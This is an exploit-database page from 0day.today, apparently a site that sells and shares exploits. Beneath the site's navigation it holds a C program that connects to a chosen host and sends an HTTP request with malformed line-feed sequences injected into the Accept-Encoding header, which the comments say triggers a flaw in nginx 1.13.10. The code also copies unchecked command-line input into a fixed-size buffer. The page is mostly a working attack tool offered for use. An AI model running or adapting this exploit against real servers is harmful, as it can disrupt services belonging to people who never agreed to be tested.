0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Nginx 1.13.10 Accept-Encoding Line Feed Injection Exploit
[// Underground_Agency (UA) - (koa, bacL, g3kko, Dostoyevsky)
// trigger nginx 1.13.10 (latest) logic flaw / bug
// ~2018
// Tested on Ubuntu 17.10 x86 4.13.0-21-generic
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <time.h>
int main(int argc, char **argv){
int sockfd, ret;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0){
perror("socket");
exit(EXIT_FAILURE);
}
struct sockaddr_in servAddr;
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(atoi(argv[2]));
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
ret = connect(sockfd, (struct sockaddr *)&servAddr, sizeof(servAddr));
if(ret < 0){
perror("connect");
exit(EXIT_FAILURE);
}
char buf[2048];
strcpy(buf, "GET / HTTP/1.1\r\nHost: ");
strcat(buf, argv[1]);
strcat(buf, "\r\n");
strcat(buf, "Connection: close\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\r\n");
char *buf2 = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n\rrrrr\r\r\r\r\\rr\rrrrrr" // bug
"Accept-Language: en-US,en;q=0.9\r\n\r\n";
strcat(buf, buf2);
char recvbuf[1024];
ret = send(sockfd, buf, strlen(buf), 0);
if(ret < 0){
perror("send");
exit(EXIT_FAILURE);
}
printf("Successfully sent data\n");
ret = recv(sockfd, recvbuf, 1024, 0);
if(ret < 0){
perror("recv");
exit(EXIT_FAILURE);
}
printf("Data: %s\n", recvbuf);
close(sockfd);
exit(EXIT_SUCCESS);
}
# 0day.today [2024-11-14] #